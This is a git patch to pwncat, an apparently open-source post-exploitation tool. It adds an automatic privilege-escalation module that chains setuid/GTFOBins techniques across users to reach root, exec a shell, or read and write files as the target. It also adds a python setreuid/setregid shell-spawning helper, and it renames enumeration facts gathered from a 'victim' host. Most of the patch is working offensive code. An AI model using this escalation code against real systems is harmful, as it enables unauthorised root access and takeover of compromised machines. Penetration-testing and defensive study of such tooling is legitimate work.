From 4ecbca9543897934216bc8bf194c5a50a2703e99 Mon Sep 17 00:00:00 2001 From: Caleb Stewart Date: Tue, 1 Sep 2020 15:30:47 -0400 Subject: [PATCH] Initial partially functioning auto escalation Also renamed some enumeration types and added type-globbing for the `types` parameter of enumerations (e.g. run enumerate.gather types=system.*) --- pwncat/commands/run.py | 27 +++-- pwncat/modules/__init__.py | 8 ++ pwncat/modules/enumerate/__init__.py | 18 ++- pwncat/modules/enumerate/arch.py | 4 +- pwncat/modules/enumerate/aslr.py | 6 +- pwncat/modules/enumerate/container.py | 13 ++- pwncat/modules/enumerate/distro.py | 12 +- pwncat/modules/enumerate/hostname.py | 8 +- pwncat/modules/enumerate/hosts.py | 8 +- pwncat/modules/enumerate/init.py | 14 +-- pwncat/modules/enumerate/kernel.py | 9 +- pwncat/modules/escalate/__init__.py | 80 +++++++++++++- pwncat/modules/escalate/auto.py | 152 ++++++++++++++++++++++++++ pwncat/modules/escalate/setuid.py | 14 ++- 14 files changed, 324 insertions(+), 49 deletions(-) create mode 100644 pwncat/modules/escalate/auto.py diff --git a/pwncat/commands/run.py b/pwncat/commands/run.py index 74d264c..10d53ac 100644 --- a/pwncat/commands/run.py +++ b/pwncat/commands/run.py @@ -9,12 +9,18 @@ from pwncat.commands.base import CommandDefinition, Complete, Parameter class Command(CommandDefinition): """ - Run a shell command on the victim host and display the output. - - **NOTE** This must be a non-interactive command. If an interactive command - is run, you will have to use C-c to return to the pwncat prompt and then - C-d to get back to your interactive remote prompt in order to interact - with the remote host again!""" + Run a module. If no module is specified, use the module in the + current context. You can enter a module context with the `use` + command. + + Module arguments can be appended to the run command with `variable=value` + syntax. Arguments are type-checked prior to executing, and the results + are displayed to the terminal. + + To locate available modules, you can use the `search` command. To + find documentation on individual modules including expected + arguments, you can use the `info` command. + """ def get_module_choices(self): yield from [module.name for module in pwncat.modules.match(".*")] @@ -27,8 +33,9 @@ class Command(CommandDefinition): "module": Parameter( Complete.CHOICES, nargs="?", + metavar="MODULE", choices=get_module_choices, - help="The module path to execute", + help="The module name to execute", ), "args": Parameter(Complete.NONE, nargs="*", help="Module arguments"), } @@ -50,10 +57,12 @@ class Command(CommandDefinition): name, value = arg.split("=") values[name] = value - pwncat.victim.config.locals.update(values) + # pwncat.victim.config.locals.update(values) + config_values = pwncat.victim.config.locals.copy() + config_values.update(values) try: - result = pwncat.modules.run(args.module, **pwncat.victim.config.locals) + result = pwncat.modules.run(args.module, **config_values) pwncat.victim.config.back() except pwncat.modules.ModuleNotFound: console.log(f"[red]error[/red]: {args.module}: not found") diff --git a/pwncat/modules/__init__.py b/pwncat/modules/__init__.py index ec14e51..35e2cfb 100644 --- a/pwncat/modules/__init__.py +++ b/pwncat/modules/__init__.py @@ -118,6 +118,11 @@ def run_decorator(real_run): def decorator(self, progress=None, **kwargs): + if "exec" in kwargs: + has_exec = True + else: + has_exec = False + # Validate arguments for key in kwargs: if key in self.ARGUMENTS: @@ -135,6 +140,9 @@ def run_decorator(real_run): elif key not in kwargs and self.ARGUMENTS[key].default is NoValue: raise MissingArgument(key) + if "exec" in kwargs and kwargs["exec"] and not has_exec: + raise Exception(f"What the hell? {self.ARGUMENTS['exec'].default}") + # Save progress reference self.progress = progress diff --git a/pwncat/modules/enumerate/__init__.py b/pwncat/modules/enumerate/__init__.py index 057756f..2384a1a 100644 --- a/pwncat/modules/enumerate/__init__.py +++ b/pwncat/modules/enumerate/__init__.py @@ -1,5 +1,6 @@ #!/usr/bin/env python3 from enum import Enum, auto +import fnmatch import time import sqlalchemy @@ -78,9 +79,12 @@ class EnumerateModule(BaseModule): ) if types: - existing_facts = existing_facts.filter(pwncat.db.Fact.type.in_(types)) - - yield from existing_facts.all() + for fact in existing_facts.all(): + for typ in types: + if fnmatch.fnmatch(fact.type, typ): + yield fact + else: + yield from existing_facts.all() if self.SCHEDULE != Schedule.ALWAYS: exists = ( @@ -109,8 +113,12 @@ class EnumerateModule(BaseModule): continue # Don't yield the actual fact if we didn't ask for this type - if types and row.type not in types: - yield Status(data) + if types: + for typ in types: + if fnmatch.fnmatch(row.type, typ): + yield row + else: + yield Status(data) else: yield row diff --git a/pwncat/modules/enumerate/arch.py b/pwncat/modules/enumerate/arch.py index 7fdefc4..d575ab9 100644 --- a/pwncat/modules/enumerate/arch.py +++ b/pwncat/modules/enumerate/arch.py @@ -30,7 +30,7 @@ class Module(EnumerateModule): :return: """ - PROVIDES = ["arch"] + PROVIDES = ["system.arch"] def enumerate(self): """ @@ -43,4 +43,4 @@ class Module(EnumerateModule): except FileNotFoundError: return - yield "arch", ArchData(result) \ No newline at end of file + yield "system.arch", ArchData(result) diff --git a/pwncat/modules/enumerate/aslr.py b/pwncat/modules/enumerate/aslr.py index 6256f85..706b3a1 100644 --- a/pwncat/modules/enumerate/aslr.py +++ b/pwncat/modules/enumerate/aslr.py @@ -25,7 +25,7 @@ class Module(EnumerateModule): :return: """ - PROVIDES = ["aslr"] + PROVIDES = ["system.aslr"] def enumerate(self): @@ -38,6 +38,6 @@ class Module(EnumerateModule): value = None if value is not None: - yield "aslr", ASLRStateData(value) + yield "system.aslr", ASLRStateData(value) except (FileNotFoundError, PermissionError): - pass \ No newline at end of file + pass diff --git a/pwncat/modules/enumerate/container.py b/pwncat/modules/enumerate/container.py index ecaca3f..e03bad1 100644 --- a/pwncat/modules/enumerate/container.py +++ b/pwncat/modules/enumerate/container.py @@ -23,29 +23,30 @@ class Module(EnumerateModule): :return: """ - PROVIDES = ["container"] + PROVIDES = ["system.container"] def enumerate(self): try: with pwncat.victim.open("/proc/self/cgroup", "r") as filp: if "docker" in filp.read().lower(): - yield "container", ContainerData("docker") + yield "system.container", ContainerData("docker") return except (FileNotFoundError, PermissionError): pass with pwncat.victim.subprocess( - f'find / -maxdepth 3 -name "*dockerenv*" -exec ls -la {{}} \\; 2>/dev/null', "r" + f'find / -maxdepth 3 -name "*dockerenv*" -exec ls -la {{}} \\; 2>/dev/null', + "r", ) as pipe: if pipe.read().strip() != b"": - yield "container", ContainerData("docker") + yield "system.container", ContainerData("docker") return try: with pwncat.victim.open("/proc/1/environ", "r") as filp: if "container=lxc" in filp.read().lower(): - yield "container", ContainerData("lxc") + yield "system.container", ContainerData("lxc") return except (FileNotFoundError, PermissionError): - pass \ No newline at end of file + pass diff --git a/pwncat/modules/enumerate/distro.py b/pwncat/modules/enumerate/distro.py index 106386f..5da0110 100644 --- a/pwncat/modules/enumerate/distro.py +++ b/pwncat/modules/enumerate/distro.py @@ -29,13 +29,14 @@ class DistroVersionData: f"Build ID [green]{self.build_id}[/green]." ) + class Module(EnumerateModule): """ Enumerate kernel/OS version information :return: """ - PROVIDES = ["distro"] + PROVIDES = ["system.distro"] def enumerate(self): @@ -69,7 +70,12 @@ class Module(EnumerateModule): except (PermissionError, FileNotFoundError): pass - if pretty_name is None and build_id is None and ident is None and version is None: + if ( + pretty_name is None + and build_id is None + and ident is None + and version is None + ): return - yield "distro", DistroVersionData(pretty_name, ident, build_id, version) \ No newline at end of file + yield "system.distro", DistroVersionData(pretty_name, ident, build_id, version) diff --git a/pwncat/modules/enumerate/hostname.py b/pwncat/modules/enumerate/hostname.py index fd17a64..e812b73 100644 --- a/pwncat/modules/enumerate/hostname.py +++ b/pwncat/modules/enumerate/hostname.py @@ -13,13 +13,13 @@ class Module(EnumerateModule): :return: A generator of hostname facts """ - PROVIDES = ["hostname"] + PROVIDES = ["network.hostname"] def enumerate(self): try: hostname = pwncat.victim.env(["hostname", "-f"]).decode("utf-8").strip() - yield "hostname", hostname + yield "network.hostname", hostname return except FileNotFoundError: pass @@ -30,9 +30,9 @@ class Module(EnumerateModule): for name in hostname: if "static hostname" in name.lower(): hostname = name.split(": ")[1] - yield "hostname", hostname + yield "network.hostname", hostname return except (FileNotFoundError, IndexError): pass - return \ No newline at end of file + return diff --git a/pwncat/modules/enumerate/hosts.py b/pwncat/modules/enumerate/hosts.py index 422f9b0..9cfd7a3 100644 --- a/pwncat/modules/enumerate/hosts.py +++ b/pwncat/modules/enumerate/hosts.py @@ -7,6 +7,7 @@ import pwncat from pwncat import util from pwncat.modules.enumerate import EnumerateModule, Schedule + @dataclasses.dataclass class HostData: @@ -17,13 +18,14 @@ class HostData: joined_hostnames = ", ".join(self.hostnames) return f"[cyan]{self.address}[/cyan] -> [blue]{joined_hostnames}[/blue]" + class Module(EnumerateModule): """ Enumerate hosts identified in /etc/hosts which are not localhost :return: """ - PROVIDES = ["hosts"] + PROVIDES = ["network.hosts"] def enumerate(self): @@ -45,6 +47,6 @@ class Module(EnumerateModule): ): continue address, *hostnames = [e for e in line.split(" ") if e != ""] - yield "hosts", HostData(address, hostnames) - except (PermissionError, FileNotFoundError): + yield "network.hosts", HostData(address, hostnames) + except (PermissionError, FileNotFoundError): pass diff --git a/pwncat/modules/enumerate/init.py b/pwncat/modules/enumerate/init.py index 51e5440..af4ffd1 100644 --- a/pwncat/modules/enumerate/init.py +++ b/pwncat/modules/enumerate/init.py @@ -4,20 +4,20 @@ import dataclasses import pwncat from pwncat import util +from pwncat.modules import Result from pwncat.modules.enumerate import EnumerateModule, Schedule + @dataclasses.dataclass -class InitSystemData: +class InitSystemData(Result): init: util.Init version: str - def __str__(self): + @property + def title(self): return f"Running [blue]{self.init}[/blue]" - @property - def description(self): - return self.version class Module(EnumerateModule): """ @@ -25,7 +25,7 @@ class Module(EnumerateModule): :return: """ - PROVIDES = ["init"] + PROVIDES = ["system.init"] def enumerate(self): @@ -74,4 +74,4 @@ class Module(EnumerateModule): if version == "": version = None - yield "init", InitSystemData(init, version) + yield "system.init", InitSystemData(init, version) diff --git a/pwncat/modules/enumerate/kernel.py b/pwncat/modules/enumerate/kernel.py index eaad77b..45b33bd 100644 --- a/pwncat/modules/enumerate/kernel.py +++ b/pwncat/modules/enumerate/kernel.py @@ -6,12 +6,13 @@ import pwncat from pwncat import util from pwncat.modules.enumerate import EnumerateModule, Schedule + @dataclasses.dataclass class KernelVersionData: """ Represents a W.X.Y-Z kernel version where W is the major version, X is the minor version, Y is the patch, and Z is the ABI. - + This explanation came from here: https://askubuntu.com/questions/843197/what-are-kernel-version-number-components-w-x-yy-zzz-called """ @@ -28,12 +29,14 @@ class KernelVersionData: f"[blue]{self.patch}[/blue]-[cyan]{self.abi}[/cyan]" ) + class Module(EnumerateModule): """ Enumerate kernel/OS version information :return: """ - PROVIDES = ["kernel"] + + PROVIDES = ["system.kernel"] def enumerate(self): @@ -62,4 +65,4 @@ class Module(EnumerateModule): y = y_and_z[0] z = "-".join(y_and_z[1:]) - yield "kernel", KernelVersionData(int(w), int(x), int(y), z) + yield "system.kernel", KernelVersionData(int(w), int(x), int(y), z) diff --git a/pwncat/modules/escalate/__init__.py b/pwncat/modules/escalate/__init__.py index 38b4204..d45f02b 100644 --- a/pwncat/modules/escalate/__init__.py +++ b/pwncat/modules/escalate/__init__.py @@ -21,6 +21,62 @@ class EscalateError(Exception): """ Indicates an error while attempting some escalation action """ +def fix_euid_mismatch(target_uid: int, target_gid: int): + """ Attempt to gain EUID=UID=target_uid. + + This is intended to fix EUID/UID mismatches after a escalation. + """ + + pythons = [ + "python", + "python3", + "python3.6", + "python3.8", + "python3.9", + "python2.7", + "python2.6", + ] + for python in pythons: + python_path = pwncat.victim.which(python) + if python_path is not None: + break + + if python_path is not None: + command = f"exec {python_path} -c '" + command += f"""import os; os.setreuid({target_uid}, {target_uid}); os.setregid({target_gid}, {target_gid}); os.system("{pwncat.victim.shell}")""" + command += "'\n" + pwncat.victim.process(command) + + new_id = pwncat.victim.id + if new_id["uid"]["id"] == target_uid and new_id["gid"]["id"] == target_gid: + return + + raise EscalateError("failed to resolve euid/uid mismatch") + + +def euid_fix(technique_class): + """ + Decorator for Technique classes which may end up with a RUID/EUID + mismatch. This will check the resulting UID before/after to see + if the change was affective and attempt to fix it. + """ + + class Wrapper(technique_class): + def exec(self, binary: str): + + # Run the real exec + super(Wrapper, self).exec(binary) + + # Check id again + ending_id = pwncat.victim.id + + # If needed fix the UID + if ending_id["euid"]["id"] != ending_id["uid"]["id"]: + fix_euid_mismatch(ending_id["euid"]["id"], ending_id["egid"]["id"]) + + return Wrapper + + @dataclasses.dataclass class Technique: """ Describes a technique possible through some module. @@ -196,6 +252,17 @@ class EscalateChain(Result): """ Add a link in the chain """ self.chain.append((technique, exit_cmd)) + def extend(self, chain: "EscalateChain"): + """ Extend this chain with another chain """ + self.chain.extend(chain.chain) + + def pop(self): + """ Exit and remove the last link in the chain """ + _, exit_cmd = self.chain.pop() + pwncat.victim.client.send(exit_cmd) + pwncat.victim.reset(hard=False) + pwncat.victim.update_user() + def unwrap(self): """ Exit each shell in the chain with the provided exit script """ @@ -204,6 +271,9 @@ class EscalateChain(Result): # Send the exit command pwncat.victim.client.send(exit_cmd) + pwncat.victim.reset(hard=False) + pwncat.victim.update_user() + @dataclasses.dataclass class EscalateResult(Result): @@ -238,7 +308,7 @@ class EscalateResult(Result): This allows you to enumerate multiple modules and utilize all their techniques together to perform escalation. """ - for key, value in result.techniques: + for key, value in result.techniques.items(): if key not in self.techniques: self.techniques[key] = value else: @@ -328,6 +398,7 @@ class EscalateResult(Result): original_user = pwncat.victim.current_user original_id = pwncat.victim.id + target_user = pwncat.victim.users[user] task = progress.add_task("", module="escalating", status="...") if user in self.techniques: @@ -358,7 +429,9 @@ class EscalateResult(Result): # Check that the escalation succeeded new_id = pwncat.victim.id - if new_id["euid"] == original_id["euid"]: + if new_id["euid"]["id"] != target_user.id: + pwncat.victim.client.send(exit_cmd.encode("utf-8")) + pwncat.victim.flush_output(some=False) continue return EscalateChain( @@ -492,6 +565,9 @@ class EscalateResult(Result): # The test worked! Run the real escalate command pwncat.victim.process(command) + pwncat.victim.reset(hard=False) + pwncat.victim.update_user() + return EscalateChain(original_user.name, [(used_tech, "exit")]) raise EscalateError(f"exec as {user} not possible") diff --git a/pwncat/modules/escalate/auto.py b/pwncat/modules/escalate/auto.py new file mode 100644 index 0000000..cf1f436 --- /dev/null +++ b/pwncat/modules/escalate/auto.py @@ -0,0 +1,152 @@ +#!/usr/bin/env python3 + +from pwncat.modules import ( + BaseModule, + Bool, + Result, + Status, + Argument, + ArgumentFormatError, + MissingArgument, +) +from pwncat.modules.escalate import ( + EscalateChain, + EscalateResult, + EscalateModule, + FileContentsResult, + EscalateError, +) +import pwncat.modules + + +class Module(BaseModule): + """ + Attempt to automatically escalate to the given user through + any path available. This may cause escalation through multiple + users. + """ + + ARGUMENTS = { + "user": Argument(str, default="root", help="The target user for escalation"), + "exec": Argument( + Bool, default=False, help="Attempt to execute a shell as the given user" + ), + "read": Argument( + Bool, default=False, help="Attempt to read a file as the given user" + ), + "write": Argument( + Bool, default=False, help="Attempt to write a file as the given user" + ), + "shell": Argument( + str, default="current", help="The shell to use for escalation" + ), + "path": Argument( + str, default=None, help="The path to the file to be read/written" + ), + "data": Argument(str, default=None, help="The data to be written"), + } + COLLAPSE_RESULT = True + + def run(self, user, exec, write, read, path, data, shell): + + whole_chain = EscalateChain(None, chain=[]) + tried_users = [] + result_list = [] + target_user = user + + if (exec + write + read) > 1: + raise pwncat.modules.ArgumentFormatError( + "only one of exec/write/read may be used" + ) + + if (read or write) and path is None: + raise ArgumentFormatError("file path not specified") + + if write and data is None: + raise ArgumentFormatError("file content not specified") + + if shell == "current": + shell = pwncat.victim.shell + + # Collect escalation options + result = EscalateResult(techniques={}) + for module in pwncat.modules.match(r"escalate\..*", base=EscalateModule): + try: + result.extend(module.run(progress=self.progress)) + except (ArgumentFormatError, MissingArgument): + continue + + while True: + + if exec: + chain = result.exec(target_user, shell, self.progress) + whole_chain.extend(chain) + yield whole_chain + return + elif write: + result.write(target_user, path, data, self.progress) + whole_chain.unwrap() + return + elif read: + filp = result.read(target_user, path, self.progress) + original_close = filp.close + + # We need to call unwrap after reading the data + def close_wrapper(): + original_close() + whole_chain.unwrap() + + filp.close = close_wrapper + + yield FileContentsResult(path, filp) + return + else: + # We just wanted to list all techniques from all modules + yield result + return + + for user in result.techniques.keys(): + # Ignore already tried users + if user in tried_users: + continue + + # Mark this user as tried + tried_users.append(user) + + try: + # Attempt escalation + chain = result.exec(user, shell, self.progress) + + # Extend the chain with this new chain + whole_chain.extend(chain) + + # Save our current results in the list + result_list.append(result) + + # Get new results for this user + result = EscalateResult(techniques={}) + for module in pwncat.modules.match( + r"escalate\..*", base=EscalateModule + ): + try: + result.extend(module.run(progress=self.progress)) + except ( + ArgumentFormatError, + MissingArgument, + ): + continue + + # Try again + break + except EscalateError: + continue + else: + + if not result_list: + # There are no more results to try... + raise EscalateError("no escalation path found") + + # The loop was exhausted. This user didn't work. + # Go back to the previous step, but don't try this user + whole_chain.pop() + result = result_list.pop() diff --git a/pwncat/modules/escalate/setuid.py b/pwncat/modules/escalate/setuid.py index 5835afc..b54f06f 100644 --- a/pwncat/modules/escalate/setuid.py +++ b/pwncat/modules/escalate/setuid.py @@ -2,7 +2,17 @@ import pwncat from pwncat.gtfobins import Capability, Stream, BinaryNotFound -from pwncat.modules.escalate import EscalateModule, EscalateError, GTFOTechnique +from pwncat.modules.escalate import ( + EscalateModule, + EscalateError, + GTFOTechnique, + euid_fix, +) + + +@euid_fix +class SUIDTechnique(GTFOTechnique): + """ Same as GTFO Technique but with EUID fix decorator """ class Module(EscalateModule): @@ -27,7 +37,7 @@ class Module(EscalateModule): for method in binary.iter_methods( fact.data.path, Capability.ALL, Stream.ANY ): - yield GTFOTechnique(fact.data.owner.name, self, method, suid=True) + yield SUIDTechnique(fact.data.owner.name, self, method, suid=True) def human_name(self, tech: "Technique"): return f"[cyan]{tech.method.binary_path}[/cyan] ([red]setuid[/red])"